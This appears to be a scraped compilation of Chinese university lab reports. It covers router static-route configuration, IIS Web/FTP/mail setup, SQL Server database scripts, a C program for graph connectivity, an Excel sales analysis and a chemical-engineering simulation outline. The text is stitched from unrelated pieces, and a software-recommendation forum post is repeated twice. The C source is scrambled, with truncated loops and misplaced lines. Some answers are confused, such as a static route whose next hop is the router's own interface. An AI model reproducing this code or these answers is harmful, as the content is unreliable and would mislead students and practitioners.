表 3‐ 3

路由表的显示和调试 表 3‐ 4

四、实验组织运行要求

1.学生在进行实验前必须进行充分的预习,熟悉实验内容; 2.学生拟定实验方案,熟悉实验内容和实验步骤;

3.学生严格遵守实验室的各项规章制度,注意人身和设备安全,配合和服 从实验室人员管理;

4.学生应独立完成实验,教师可以给予一定的辅导; 5.教师审查、分析学生实验方案和实验结果; 6.综合评定学生的实验成绩。

五、实验条件

1.华为Quidway/思科2811/中兴ZXR路由器 2.计算机、局域网环境

六、实验步骤

1. 将计算机、交换机、路由器连接成如图 3-1的拓扑结构。 图 3‐ 1实验拓扑结构

2. 给每一台路由器的连接接口设置 IP地址和掩码,配置实例如下: Router>enable Router#hostname Router0 Router0#config terminal Router0(config)# interface fa0/0 Router0(config-if)# ip addre 192.168.1.1 255.255.255.0 Router0(config-if)# no shutdown Router0(config-if)# interface fa0/1 Router0(config-if)# ip addre 192.168.2.1 255.255.255.0 Router0(config-if)# no shutdown

配置完毕后,路由器连接的接口都处于工作状态,如图

3-2

图 3‐ 2路由器接口启动后的拓扑

3. 为 PC机设置

IP地址、子网掩码、网关地址,测试

PC机可以寻址的范 围,即与其它哪些路由器的路径可达。 4. 查看路由器的路由表,配置实例: Router0# show ip route 分析路由表的表项及路径可达范围。

5. 在路由器上添加去往非直连网络的静态路由,并测试 PC机的寻址范围, 配置实例如下:

Router0# config terminal Router0(config)# ip route 192.168.4.0 255.255.255.0 192.168.2.1 6. 查看路由器的路由表,并分析分组的路由过程。

七、思考题

1. 当路由表中存在多条下一跳同样的静态路由,应如何简化路由的配置?

答:(1)如果路由表中除了直连路由(标记为C),其他静态路由全是指向同一个下一跳,那么可以将这些静态路由删了,使用一条目的网段全0的静态默认路由代替之前的所有路由;

(2)如果这些静态路由条目只是其中大部分指向了同一个下一跳,但是还有一些静态不是指向该下一跳,那么可以根据这些静态路由的目的IP子网,看能否进行汇总。

目前简化路由表的手段主要就是做子网汇总,情况1其实也是汇总,只是汇总的范围比较大而已。

2. 试在实验环境中通过设置静态路由,形成路由环路。

实验四

网络应用层协议分析与服务配置 实验学时:2学时 实验类型:综合 实验要求:必修

一、实验目的

1. 掌握 Web服务器的设置方法 2. 掌握 FTP服务器的设置方法 3. 熟悉 Mail服务器的设置方法

二、实验内容

1. 在 Windows上运行并设置

IIS服务 2. 通过设置提供 Web、FTP、Mail服务 3. 对提供的服务进行测试

三、实验原理、方法和手段 1.

IIS之

Web服务器

在 Windows桌面上,右键点击“我的电脑”,选择“管理”,在出现的“计 算机管理”窗口中打开“Internet信息服务”控制台,双击计算机名可以 展开可管理的服务,如图 4-1所示。 图 4‐ 1计算机管理

右击“默认网站”,选择“属性”,“默认网站 属性”对话框中包含了许 多选项卡,这里经常使用的包括“网站”、“主目录”、“文档”、以及“目 录安全性”。

其中,“网站”选项卡主要用来设置

Web 站点标识、连接属性、日志记 录等。这里主要注意 Web站点所使用的

IP地址和

TCP端口号,它们将 决定用户如何访问到该 Web服务,如图

5-2所示。 图 4‐ 2网站设置

“主目录”选项卡的作用包括网站内容的来源、对网络内容的控制权限、以及应用程序的设置。在缺省的情况下,网站的内容放置在本地的

c:\\inetpub\\wwwroot目录下。管理员可以根据需要改变这些设置,如图

5-3 所示。

图 4‐ 3主目录的设置

“文档”选项卡用于指定启用的默认文档。所谓默认文档是指当浏览器 访问 Web 服务时,不需要提供想要访问的文件名,只要输入 Web 服务 器的 URL即可,服务器会自动将默认的文档提供给浏览器。目前大部分 的 Web 站点的主页文件名都为“index.htm”,当然也可以指定其它的文 件名,同时有多个文件名时,可以指定访问的先后次序,如图 5-4所示。 图 4‐ 4文档设置

“目录安全性”选项卡的主要用来指定

Web 服务器对访问用户的验证 方式。IIS 的 Web 服务缺省是不对用户进行验证的,用户直接可以访问 Web服务,如图

5-5所示。

另外,在部署一个新的网站时,可以为它单独创建一个 Web 虚拟目录, 然后为这个虚拟目录指定别名,以及站点内容所在的路径。之后要访问 这个站点的内容的话,可以通过这样形式的 URL来指定:“http://Web服 务器的域名或 IP地址/别名/“来访问。 2.

IIS之

FTP服务器

IIS的

FTP服务同样在“Internet信息服务”控制台中可以找到,缺省为 “FTP 站点”。通过右击选择属性,可以设置 FTP 服务的相关参数,如 图 5-6。

图 4‐ 6安全账户设置

“FTP站点 属性”包含“安全帐户”、“消息”、“主目录”这些选项卡。 其中,“安全账户”选项卡用于设置对访问用户的验证方式;“消息”选 项卡用于设置用户登录及退出时,系统的提示信息;“主目录”选项卡用 于设置 FTP站点的内容放置的具体位置,以及用户的访问权限。 3.

IIS之

Mail服务器

IIS的

Mail服务也可以在“Internet信息服务”控制台中可以找到,缺省 为“默认 SMTP 虚拟服务器”。通过右击选择属性,可以设置 SMTP 服 务的相关参数,如图 5-7。 图 4‐ 7虚拟服务器属性设置

“默认 SMTP虚拟服务器 属性”包含“常规”、“访问”、“邮件”、“传 递”、“LDAP路由”、“安全”这些选项卡。

其中,“常规”选项卡用于设置 IP地址和连接限制,以及日志记录;“访 问”选项卡用于设置访问控制、安全通讯等参数;“邮件”选项卡用于指 定消息信息、设置未传递报告和死信目录;“传递”选项卡用于设置出站 和本地的时间信息;“LDAP路由”用于设置是否启用

LDAP路由以及相 应的一些参数;“安全”选项卡用于设置访问用户的权限。

四、实验组织运行要求

7.学生在实验前,请先对Windows IIS的安装和简单设置进行熟悉。

8.学生在实验过程中,记录相应的服务设置信息,以及访问这些服务时的 状况。

五、实验条件

1. 提供安装了 Windows操作系统的计算机 2. 网络环境

六、实验步骤

1. 从网络上下载、或预先自己设计一个网站,将它部署到 IIS Web服务器。 在其它计算机上打开浏览器,浏览部署的网站。

2. 运行 IIS的

FTP功能,并在

FTP服务器的目录下放置一些共享文件。在 其它计算机上访问该 FTP服务器,注意登录的用户可以使用

anonymous 帐户,该用户不需要输入密码。

3. 运行 IIS的

Mail服务,并且在服务所在的计算机上再单独运行一个

Mail 服务器。在其它计算机上访问该 Mail服务。

七、思考题

1.

IIS Web服务中的虚拟目录具有什么作用?

答:两个不同文件夹下的文件之间可以互相调用 C:\\web\\和D:\\web1\\都是虚拟目录 比如C:\\web\\index.asp可以调用D:\\web1\\下的文件

2. 为什么要在 IIS Mail服务所在的计算机上,另外再单独运行一个Mail服务器?

答:一般的情况下,一台服务器是可以同时多程序在运行的。邮件服务器也是在一般的服务器上利用软件搭建出来的一种服务,IIS同样是服务器和一种服务,所以二都是没有冲突的。邮件服务器一样可以提供IIS的功能。

四个实验:

第15篇:西华大学数据库实验报告(一)

第一次作业内容

一、对数据库的操作

1 用SQL 编程新建一个名为student的数据库,包括主文件、日志文件,并定义其5个参数(name, filename, size, maxsize, filegrowth)

create database student --创建数据库 on primary --主文件建立 ( name=pstudentPQL, --定义主文件逻辑名

filename=\'E:\\pstudentPQL.mdf\', --定义主文件物理名

size=10MB, --主文件的初始容量

maxsize=20Mb, --主文件的最大容量

filegrowth=10% --增量大小

) log on --日志文件建立 ( name=lstudentPQL, --定义日志文件逻辑名

filename=\'E:\\lstudentPQL.mdf\', --定义日志文件物理名

size=2MB, --日志文件的初始容量

maxsize=unlimited, --日志文件的最大容量

filegrowth=2MB --增量大小

) Go 运行后的截图:

2 用SQL 编程查看student数据库信息

sp_helpdb student --查看数据库student属性 go

运行后的截图:

3 向刚建立的student数据库中添加2个辅助文件,并编组管理,查看student数据库信息。添加、编组、查看操作要求在一个程序文件中实现

alter database student --指定要更改的数据库

add filegroup 辅助文件组 --添加文件组 go alter database student add file --添加文件 ( name=studentPQL01, --定义文件逻辑名

filename=\'E:\\studentPQL01.ndf\', --定义文件物理名

size=1MB, --文件初始容量

maxsize=5MB, --文件最大容量

filegrowth=10% --文件增量

), ( name=studentPQL02, filename=\'E:\\studentPQL02.ndf\', size=2MB, maxsize=10MB, filegrowth=10% ) to filegroup 辅助文件组 --添加到指定的文件组中 Go

4 用SQL 编程删除其中一个辅助文件,并查看结果信息

alter database student --指定要更改的数据库 remove file studentPQL02 --删除文件 go 运行后结果截图:

5 用SQL 其中一个命令将student数据库更改名字为stu alter database student --指定要更改的数据库 modify name = stu --更改数据库名称 Go 运行后结果截图:

sp_renamedb\'stu\',\'student\' Go 运行后结果截图:

--将名为stu的数据库更名为student 6 用SQL 另一个命令将stu数据库还原为student

7 用SQL 编程删除student数据库(drop) drop database student Go 运行后结果截图:

--删除数据库

8 上述1-7的内容使用SQL Server管理器而不是SQL编程的方式重新实现一遍

第16篇:长安大学电工实验报告三相电

走上社会前最好要学会使用的7款软件,都是通用的,大家都可以用的,和专业无关

大家有别的意见,可以跟帖

word 不用说了吧,你别以为你会,试试编个自动生成的目录,会吗?

excel 不会不知道吧,你也别以为你会,知道什么是数据透视表吗?

dreamweaver 网络时代不会做个简单的网页,别混了你,不要用frontpage,这个才好用

mindmanager 没听说过吧?思维导图知道吗?创意思维之源,写文档就靠它了

photoshop 照片图像处理利器,不会是不行的,往图片上加字都不会,怎么混?考你一下,什么叫alpha 通道

magicflu 人人必备的万能信息和知识管理工具,延伸你的脑力

visio 有些人可能知道,画流程图,组织结构图什么的必备,也是office里的

走上社会前最好要学会使用的7款软件,都是通用的,大家都可以用的,和专业无关

大家有别的意见,可以跟帖

word 不用说了吧,你别以为你会,试试编个自动生成的目录,会吗?

excel 不会不知道吧,你也别以为你会,知道什么是数据透视表吗?

dreamweaver 网络时代不会做个简单的网页,别混了你,不要用frontpage,这个才好用

mindmanager 没听说过吧?思维导图知道吗?创意思维之源,写文档就靠它了

photoshop 照片图像处理利器,不会是不行的,往图片上加字都不会,怎么混?考你一下,什么叫alpha 通道

magicflu 人人必备的万能信息和知识管理工具,延伸你的脑力

visio 有些人可能知道,画流程图,组织结构图什么的必备,也是office里的

第17篇:(3)中南大学离散数学实验报告 [全文]

离散数学实验报告 (实验ABC)

专业班级 学生姓名 学生学号 指导老师 完成时间

离散数学实验三实验报告

目录

实验概述..........................................................................................................2

1.1 实验目的 .........................................................................................................2 1.2 实验内容 .........................................................................................................2 1.3 实验环境 .........................................................................................................2 第二章 实验原理和实现过程......................................................................................3

2.1 实验原理 .........................................................................................................3

2.1.1建立图的邻接矩阵,判断图是否连通 ................................................3 2.1.2 计算任意两个结点间的距离 ...............................................................3 2.1.3对不连通的图输出其各个连通支 ........................................................4 2.2 实验过程(算法描述) .................................................................................4

2.2.1 程序整体思路 .......................................................................................4 2.2.2具体算法流程 ........................................................................................4

第三章 实验数据及结果分析......................................................................................6

3.1建立图的邻接矩阵并判断图是否连通的功能测试及结果分析 .................6

3.1.1输入无向图的边 ....................................................................................6 3.1.2建立图的连接矩阵 ................................................................................7 3.2 其他功能的功能测试和结果分析 .................................................................8

3.2.1计算节点间的距离 ................................................................................8 3.2.2判断图的连通性 ....................................................................................8 3.2.3输出图的连通支 ....................................................................................9 3.2.4退出系统 ................................................................................................9

第四章 实验收获和心得体会....................................................................................10

4.1 实验收获 .......................................................................................................10 4.2 心得体会 .......................................................................................................11 第五章 实验源程序清单............................................................................................12

5.1 程序代码 .......................................................................................................12

I 离散数学实验三实验报告

第一章 实验概述

1.1 实验目的

理解图论的基本概念,图的矩阵表示,图的连通性,图的遍历,以及求图的连通支方法。

通过实验,帮助学生更好地掌握计算机科学技术常用的离散数学中的概念、性质和运算,培养逻辑思维;通过实验提高学生编写实验报告、总结实验结果的能力,提高理论联系实际的能力;使学生具备程序设计的思想,能够独立完成简单的算法设计和分析。

1.2 实验内容

以偶对的形式输入一个无向简单图的边,建立该图的邻接矩阵,判断图是否连通(A),并计算任意两个结点间的距离(B),对不连通的图输出其各个连通支(C)。

注意:题目类型分为A,B,C三类,其中A为基本题,完成A类题目可达到设计的基本要求,其他均为加分题,并按字母顺序分数增加越高。

基本要求如下:程序需具有基本的容错控制,在输入错误时有处理手段;程序界面友好,需要输入的地方有输入说明,说明输入的内容和格式要求等;实验原理和实现过程应该详细分析问题,给出解决思路,描述算法思想,不能用源程序代替算法;测试数据应全面,包括非法输入的处理结果等都应包含在内。

1.3 实验环境

C或C++语言编程环境实现。

2 离散数学实验三实验报告

第二章 实验原理和实现过程

2.1 实验原理

2.1.1建立图的邻接矩阵,判断图是否连通

根据图的矩阵表示法建立邻接矩阵A,并利用矩阵的乘法和加法求出可达矩阵,从而判断图的连通性。

连通图的定义:在一个无向图 G 中,若从顶点vi到顶点vj有路径相连(当然从vj到vi也一定有路径),则称vi和vj是连通的。如果 G 是有向图,那么连接vi和vj的路径中所有的边都必须同向。如果图中任意两点都是连通的,那么图被称作连通图。

判断连通图的实现:在图中,从任意点出发在剩余的点中,找到所有相邻点循环,直到没有点可以加入为止,如果有剩余的点就是不连通的,否则就是连通的。或者也可用WallShell算法,由图的邻接矩阵判断图是否连通。

2.1.2 计算任意两个结点间的距离

图中两点i,j间的距离通过检验Al中使得aij为1的最小的l值求出。 路径P中所含边的条数称为路径P的长度。在图G中,从结点Vi到Vj最短路径的长度叫从Vi到Vj的距离,记为d。

设图的邻接矩阵是A,则 所对应的aij的值表示,点Vi到点Vj距离为n的路径有aij条。

若aij(1),aij(2),…,aij(n-1),中至少有一个不为0,则可断定Vi与Vj可达,使aij(l)≠0的最小的l即为d(Vi,Vj)。

问题求解原理为:

(1) 先构造初始邻接矩阵A=Vij,Vij为顶点Vi到顶点Vj的权。如果Vi和Vj之间不存在弧段或者是负向回路或者是i=j,则令Vij其值为∞。

(2) 再构造初始中间顶点矩阵。

(3) 然后开始迭代计算(迭代的次数等于顶点的个数1) (4)最后查找Vi到Vj的最短路径。

3 离散数学实验三实验报告

计算节点Vi与Vj之间的距离的方法为:

利用邻接矩阵相互间相乘后得到的矩阵来判断节点间的距离。如果c2[s][i][j]==0,则这两个节点的距离为无穷大。如果c2[s-2][i][j]==0,c2[s-1][i][j]==1时,则这两点间的距离为s。

2.1.3对不连通的图输出其各个连通支

图的连通支的求法则可采用图的遍历算法,图的遍历有深度优先和广度优先两种方法,其中深度优先算法又分为递归和非递归两种。

在无向图中,如果任何两点可达,则称图G是连通的,如果G的子图G’是连通的,没有包含G’的更大的子图G’’是连通的,则称G’是G的连通支。

当有判断出关系不是连通的之后,将需要求出分支模块

实现方法如下:先定义一个二维数组用来存放相应的分块,先选定一个点,并将它放在数组中,然后判断,如果后面的和他是联通的便将它也放在同一个数组中,否则将其存入其他的数组中,后面以此类推,在输出相应的数组,便可判断出连通分支。

2.2 实验过程(算法描述)

2.2.1 程序整体思路 本程序完成了实验所要求的全部功能,其基本思路是——“运用模块化的思想,将实现“求连通支”、“输入结点关系”、“输出邻接矩阵”、“显示两结点间的距离”、“求可达矩阵”和“图的遍历”的子函数分开编写,然后将它们以子函数的形式添加到主函数main的代码后面,在要使用相应的子函数时,进行子函数调用就可以实现相应的功能了。”

本程序的一大特色就是开发者灵活使用了C语言中的数组概念来进行开发,用数组来模拟矩阵的运算,通过相应的算法实现了全部的功能。 2.2.2具体算法流程

在main(){系统界面显示;用do…while循环语句和switch语句实现功能liantongzhi(){求连通支,此子函数通过一个for循环控制遍历每个结点,并调1,2,3……的选择,并调用相关的子程序;用start、goto start实现控制流的转移;} 用函数DFS()求每个结点的连通支;}

4 离散数学实验三实验报告

DFS(int a){通过实参与形参,将结点数据代入函数;定义顺序栈变量;通过for循环初始化;为a置已访问标志,已经访问了的元素为1;定义顺序栈的第一个元素;通过while循环实现结点遍历,栈不为空时执行循环;栈顶元素赋值;通过for循环寻找v的下个未访问的邻接点;通过if条件句,若x,i是边和节点i未被访问过,处理结点的访问,并进行访问标志,进栈等操作;通过if条件句,若v已访问到的出点,则将其退栈;}

shuru(){输入结点关系;通过for循环先将矩阵所有元素赋值0;再通过另一linjiejuzhen(){输出邻接矩阵;通过for循环,依次按格式输出邻接矩阵的元素;} julijuzhen(){根据A的n次方矩阵及其中元素,判断并显示两结点间的距离;for循环,根据输入结点的关系,将矩阵中相应的元素赋值,有关系则为1;} 调用子函数linjiejuzhen(),以确定并显示距离为1的两结点;通过for循环显示距离为1的结点对;再通过一系列的for循环,计算A的n次方矩阵并显示结果,根据其中的元素,判断并显示结点间的距离;详细算法请见附录相关部分的注释;} kedajuzhen(){求可达矩阵;通过一系列for循环,根据公式,计算可达矩阵;通过for循环,将矩阵中不为0的一切值赋为1以生成可达矩阵并显示;通过for循环和if条件句的组合,根据可达矩阵的元素特点,判断图的连通性,若可达矩阵矩阵中有0,则跳出循环,显示不可连接;根据判断结果显示内容,不可连通或可连通;}

5 离散数学实验三实验报告

第三章 实验数据及结果分析

3.1建立图的邻接矩阵并判断图是否连通的功能测试及结果分析

简单无向图的输入界面友好,有清楚的操作说明,方便用户进行使用。

这就是集合的输入界面。 3.1.1输入无向图的边 当“6,5”时 ,表示输入的是六个节点五条边的树。

程序会在屏幕上显示输入节点间关系的界面,输入的关系为“1,2;2,3;3,4;4,5;5,6”

6 离散数学实验三实验报告

3.1.2建立图的连接矩阵

程序返回主界面后,选择“2”,程序会显示建立的连接矩阵。

7 离散数学实验三实验报告

3.2 其他功能的功能测试和结果分析

3.2.1计算节点间的距离 当选择“3”时,程序便会输出各节点间的距离。

3.2.2判断图的连通性

当选择“4”时,程序会根据可达矩阵判断图的连通性。

8 离散数学实验三实验报告

3.2.3输出图的连通支

当选择“5”时,程序会输出个连通支。

3.2.4退出系统

当选择“6”时,程序会退出系统。

9 离散数学实验三实验报告

第四章 实验收获和心得体会

4.1 实验收获

这次离散数学实验是基于图论方面知识,以图的各种矩阵为基础,来研究图的一些性质、特点。

我独立完成了本次实验设计,实现了A、B、C三个功能,满足了实验的基本要求,心得如下。

通过这次实验,我学会了用C语言根据图的矩阵表示法建立邻接矩阵A,并利用矩阵的乘法和加法求出可达矩阵,从而判断图的连通性。巩固了课堂所学的图论方面的有关知识,并在实践中学到:图中两点i,j间的距离可以通过检验Al中使得aij为1的最小的l值求出;图的连通支的求法可采用图的遍历算法,图的遍历有深度优先和广度优先两种方法,其中深度优先算法又分为递归和非递归两种。我选择的算法是较为简单、易于实现的深度优先算法最简单,查阅了相关资料,掌握了此算法的核心,最后独立完成了本次实验设计。

这次离散数学实验,从拿到题目到完成整个编程,从理论到实践的日子里,我学到很多东西,不仅可以巩固了以前所学过的知识,而且通过查阅相关资料,学到了很多在书本上所没有学到过的知识。在这段时间里,我对于离散数学中的“逻辑”有了进一步的理解,对C语言的理解也更进了一步,并提高了编写实验报告、总结实验结果的能力,提高了理论联系实际的能力,初步具备程序设计的思想,能够独立完成简单的算法设计和分析。

感受最深的是,大量的上机实践是成为“编程高手”的必由之路,“质变”需要有“量”的积累。

完成程序的编写,决不意味着万事大吉。曾经自己认为万无一失的程序,实际上机运行时可能不断出现麻烦,如编译程序检测出一大堆错误。有时程序本身不存在语法错误,也能够顺利运行,但是运行结果显然是错误的。开发环境所提供的编译系统无法发现这种程序逻辑错误,只能靠自己的上机经验分析判断错误所在。有时候一个小小错误会消耗我好的时间去找,而高手一眼就看出错误所在,这就是熟练程度的不同,量变到质变的不同。

10 离散数学实验三实验报告

4.2 心得体会

这次真的使我意识到了很多原来没有意识到的问题,有时候一些很小的问题,也会令人很是头痛。

在刚开始编写程序的时候,为了实现最基本的输入和输出功能,我却花了大量的时间在那上面。原因在后来查阅的很多资料后才知道的,像scanf函数之类的小函数,其实是还有很多需要注意的地方的。

之后,在编写数组和指针的过程中,花了很大的一部分时间去研发算法,开发程序,在理论上反复证明没有问题之后,再在计算机上进行操作,编写代码,进行调试,反复了很久,才慢慢的实现了全部的功能,真的是来之不易。 在实验的过程中我们要培养自己的独立分析问题,和解决问题的能力。培养这种能力的前题是你对每次实验的态度。如果你在实验这方面很随便,抱着等老师教你怎么做,拿同学的报告去抄,尽管你的成绩会很高,但对将来工作是不利的。在写实验报告,对于思考题,有很多不懂,于是去问老师,老师的启发了我,其实答案早就摆在报告中的公式,电路图中,自己要学会思考。

最后,通过这次的实验我不但对理论知识有了更加深的理解,对于实际的操作和也有了质的飞跃。经过这次的实验,我们整体对各个方面都得到了不少的提高,希望以后学校和系里能够开设更多类似的实验,能够让我们得到更好的锻炼。

11 离散数学实验三实验报告

第五章 实验源程序清单

5.1 程序代码

#include /*头文件*/ #include #include

#define MAX 100/*宏定义*/ typedef struct { int elem[MAX];

int top; }SqStack;/*定义栈的结构体,顺序栈的类型标识符*/

void shuru();/*各子函数声明*/ void linjiejuzhen(); void julijuzhen(); void kedajuzhen(); void liantongzhi(); void DFS(int a);

int A[9][9],B[9][9],C[9][9],D[9][9]; int i,j,k,t,v,e; int main() { int a1;

12 离散数学实验三实验报告

printf(\"*********************************************************************start:

{ printf(\"\\n\"); do **********\\n\");

printf(\"\\n\"); printf(\"\\t\\t\\t\\t系

单\\n\"); printf(\"\\n\\t\\t1.输入无向图的边\\n\\t\\t2.建立图的邻接矩阵\\n\\t\\t3.计算节点间的距离\\n\"); printf(\"\\t\\t4.由可达矩阵判断图的连通性\\n\\t\\t5.输出各个连通支(深度优先DFS法)\\n\\t\\t6.退出系统\\n\");

printf(\"********************************************************************* printf(\"\\n\"); ***********\\n\");

printf(\"\\n\"); printf(\"\\n\\t\\t\\t\\t请输入功能选项:\"); fflush(stdin);/*清空输入缓冲区,通常是为了确保不影响后面的数据读取*/ scanf(\"%d\",&a1); switch(a1)/*switch语句实现选择功能*/ { case 1:system(\"cls\");shuru();break;/*输入节点关系,计算邻接矩阵*/ case 2:system(\"cls\");fflush(stdin);linjiejuzhen();break;/*输出邻接矩阵*/ case 3:system(\"cls\");fflush(stdin);julijuzhen();break;/*求距离矩阵*/ case 4:system(\"cls\");fflush(stdin);kedajuzhen();break;/*求可达矩阵*/

13 离散数学实验三实验报告

}

void liantongzhi()/*求连通支,此子函数控制遍历每个结点*/ {

} void DFS(int a)/*由深度优先DFS法求出并显示各个连通支*/ {

int i,x; int top=0; int visited[MAX]; SqStack s;/*定义s为顺序栈变量*/ for (i=0;i

case 5:system(\"cls\");fflush(stdin);liantongzhi();break;/*求连通支*/ case 6:system(\"exit\");exit(0);/*结束整个程序的运行*/ default:system(\"cls\"); goto start;/*控制流转移到start处*/ } }while(1);

for(i=1;i

} printf(\"%d\",i); DFS(i);/*调用子函数求连通支*/ printf(\"\\n\"); 离散数学实验三实验报告

}

void shuru()/*输入结点关系*/ {

printf(\"*********************************************************************visited[a-1]=1;/*为a置已访问标志,已经访问了的元素为1*/ top=top+1;

s.elem[top]=a-1;/*顺序栈的第一个元素*/ while(top!=0)/*栈不为空时执行循环*/ {

} x=s.elem[top];/*将栈顶元素付给x*/ for(i=0;i

if(D[x][i]!=0 &&(!visited[i]))/*若x,i是边和节点i未被访问过*/ {

} printf(\"->%d\",i+1); visited[i]=1;/*为i置已访问标准*/ top=top+1;

s.elem[top]=i;/*i进栈*/ break; if(i==v)/*若v已访问到的出点,则将其退栈*/ top--;

**********\\n\"); printf(\"\\n\");

15 离散数学实验三实验报告

printf(\"\\t\\t请输入结点数和边数(形式如6,5):\\n\"); scanf(\"%d,%d\",&v,&e);/*输入结点和边数*/ for(i=0;i

}

for(j=0;j

}

A[i][j]=0; C[i][j]=0; B[i][j]=0; D[i][j]=0;

printf(\"\\n\"); printf(\"*******************************************************************************\\n\");

printf(\"\\t\\t请输入结点间的关系(形式如:1,2):\\n\"); printf(\"\\n\");

for(k=0;k

scanf(\"%d,%d\",&i,&j);

A[i-1][j-1]=1;/*根据输入结点的关系,将矩阵中相应的元素赋值*/ A[j-1][i-1]=1;

B[i-1][j-1]=1; B[j-1][i-1]=1;

D[i-1][j-1]=1;

16 离散数学实验三实验报告

}

void linjiejuzhen()/*输出邻接矩阵*/ {

}

void julijuzhen()/*根据A的n次方矩阵及其中元素,判断并显示两结点间的距离*/ {

linjiejuzhen();/*调用子函数,以确定并显示距离为1的两结点*/ for(i=1;i

17 } D[j-1][i-1]=1;

system(\"cls\");

printf(\"邻接矩阵A为:\\n\"); for(i=0;i

} printf(\"\\n\");

for(j=0;j

printf(\"\\t%5d\",A[i][j]);/*显示邻接矩阵*/

for(j=1;j

} for(k=2;k

} }

printf(\"\\n\\n\"); printf(\"距离为%d的矩阵(即A%d)为:\\n\",k,k); {

for(i=0;i

{

} if(A[i-1][j-1]==1) printf(\"结点%d与结点%d的距离为:%d\\n\",i,j,1); for(j=0;j

for(t=0;t

C[i][j]=C[i][j]+B[i][t]*A[t][j];/*计算矩阵中的元素*/ for(i=0;i

for(j=0;j

}

B[i][j]=C[i][j];/*将计算出的结果赋予B矩阵*/ C[i][j]=0;

for(i=0;i

18 离散数学实验三实验报告

{

}

for(j=0;j

printf(\"\\n\"); for(i=1;i

for(j=1;j

}

void kedajuzhen()/*求可达矩阵*/ {

int l=1; printf(\"可达矩阵为:\\n\"); for(i=0;i

for(j=0;j

} printf(\"\\n\"); } printf(\"结点%d与结点%d的距离为:%d\\n\",i,j,k); B[i][j]=A[i][j];

19 离散数学实验三实验报告

}

}

C[i][j]=0;

}

} C[i][j]=0;

for(k=0;k

for(i=0;i

for(j=0;j

for(t=0;t

C[i][j]=C[i][j]+B[i][t]*A[t][j];/*根据公式计算可达矩阵*/ for(i=0;i

for(j=0;j

D[i][j]=C[i][j]+D[i][j];/*根据公式计算可达矩阵*/

for(i=0;i

for(j=0;j

B[i][j]=C[i][j];/*根据公式计算可达矩阵*/

for(i=0;i

20 离散数学实验三实验报告

{

}

for(j=0;j

D[i][j]=1;

if(D[i][j]>=1)/*将矩阵中不为0的一切值赋为1以生成可达矩阵*/ for(i=0;i

}

for(j=0;j

printf(\"\\t%5d\",D[i][j]);/*显示可达矩阵*/ printf(\"\\n\");

for(i=0;i

} if(l==0)/*根据上一步判断结果显示内容*/ else printf(\"\\n\\t\\t\\t\\t该图可连通!\"); printf(\"\\n\\t\\t\\t\\t该图不连通!\");

for(j=0;j #include

21 离散数学实验三实验报告

#include using namespace std; typedef int datatype; typedef struct node { datatype key; struct node *lchild,*rchild; }bsnode; typedef bsnode *bstree; void insertbstree(bstree *t,datatype x) { bstree f,p; p = *t; //cout

{

//if(x == (p->key))//

// return;

f = p;

if(x key)

p = p ->lchild;

else

p = p ->rchild;

22 离散数学实验三实验报告

//f = p; } //f = p; p =(bstree)malloc(sizeof(bsnode));

p->key = x; p->lchild=p->rchild=NULL; if(*t == NULL)

*t = p; else {

if(x key))

f->lchild = p;

else

f->rchild = p; }

} bstree creatbstree(bstree t) {

datatype key;

23 离散数学实验三实验报告

//scanf(\"%d\",&key); cin>>key; while(key != -1) {

insertbstree(&t,key);

//scanf(\"%d\",&key);

cin>>key; }

return t; }

void inorder(bstree t)

{

if (t)

{

inorder(t->lchild);

printf(\"%d \",t->key); inorder(t->rchild);

}

}

int main(void) {

bstree t = NULL,p;

24

离散数学实验三实验报告

//printf(\"请输入一个-1为结束标记的结点序列:\\n\"); cout

//inorder(creatbstree(t)); inorder(p); return 0; }

25

第18篇:南京信息工程大学实验报告管理信息系统

南京信息工程大学实验报告

实验课程:管理信息系统

专业班级:2011级财务管理

指导教师:朱晓东

实验一:本实验素材(Excel 1)中提供了一个有关商店和区域销售的数据库,记录了每周在不同的销售区域商店销售计算机设备的销售数量。该数据库包括的字段有:商店代码、销售区域代码、商品名称、单价、数量以及每周销售额。请生成一些报表并进行查询,以使这些信息对企业更有用。如果有必要,可以对数据库中的表格进行修改,以提供你所需要的信息。请回答下列问题:

(1) 哪些商店和销售区域的销售业绩最佳? (2) 哪些产品最畅销?

(3) 各商店和销售区域销售得最多的产品是什么?

(4) 最旺和最淡的销售时段分别是什么?销售情况最好和最差的是哪家商店?哪些销售区域?哪些产品?

(5) 公司如何在销售情况最差的商店和销售区域提高销售额?(答案可以多样化。)

实验步骤: (1)利用excel函数乘积功能求出销售总额,如图:

再用筛选功能分别求出个商店的销售总额:商店一90281.1 商店二54262.7 商店三90051.25 商店四75498.75 商店五158334 商店六267648.9 商店七170040.9 商店八91435.05

可见,商店六的销售业绩最佳

再分别按

南部地区销售234595.1 东部地区销售529124.8 北部地区销售233832.8 可见,东部地区销售最好。

(2)筛选产品进行统计:

销售量:

609代码为2005) 917(商品代码为3006) 670(商品代码为6050) 981(商品代码为8500)

可见,代号为8500的商品最畅销

(3)先筛选商店,再筛选商品,如:

商店一销售情况:

67(商品代码为2005) 104(商品代码为3006) 69(商品代码为6050) 85(商品代码为8500)

商店二销售情况: 26 24 26 56

商店三销售情况: 71 95 56 84 商店四销售情况: 42 72 78 75

商店五销售情况: 75 237 144 159

商店六销售情况: 165 179 118 265 商店七销售情况: 105 144 132 167

商店八销售情况: 58 62 47 90 实验二:

第19篇:中南大学化工原理仿真实验报告

化工原理计算机仿真实验

班级:化学工程与工艺1102班

姓名:王翔

学号:1505110321

日期:2014年1月1日

本套软件系统包括8个单元仿真实验:

实验一 离心泵性能的测试

实验二 管道阻力实验

实验三 传热实验

实验四 吸收实验

实验五 流体流动形态的观测

实验六 柏努利方程实验

实验七 干燥实验

实验八 精馏实验

以下是实验模拟观测过程和计算机生成的实验报告。

图1 离心泵性能的测试 观察气蚀现象(1)

图2 离心泵性能的测试 观察气蚀现象(2)

图3 离心泵性能的测试 离心泵特性曲线测定实验报告(1)

图4 离心泵性能的测试 离心泵特性曲线测定实验报告(2)

图5 离心泵性能的测试 离心泵特性曲线测定实验报告(3)

图6 离心泵性能的测试 离心泵特性曲线测定实验报告(4)

图7 管道阻力的测定实验报告(1)

图8 管道阻力的测定实验报告(2)

图9 管道阻力的测定实验报告(3)

图10 传热实验

图11 传热实验报告(1)

图12 传热实验报告(2)

图13 传热实验报告(3)

图14 传热实验报告(4)

图15 吸收实验 观察液泛现象

图16 吸收实验报告

图17 液体流动形态的观测 观察滞留形态

图18 液体流动形态的观测实验报告

图19 柏努利方程实验 观察测压孔与水流方向方位角与水位变化(1)

图20 柏努利方程实验 观察测压孔与水流方向方位角与水位变化(2)

图21 干燥实验报告(1)

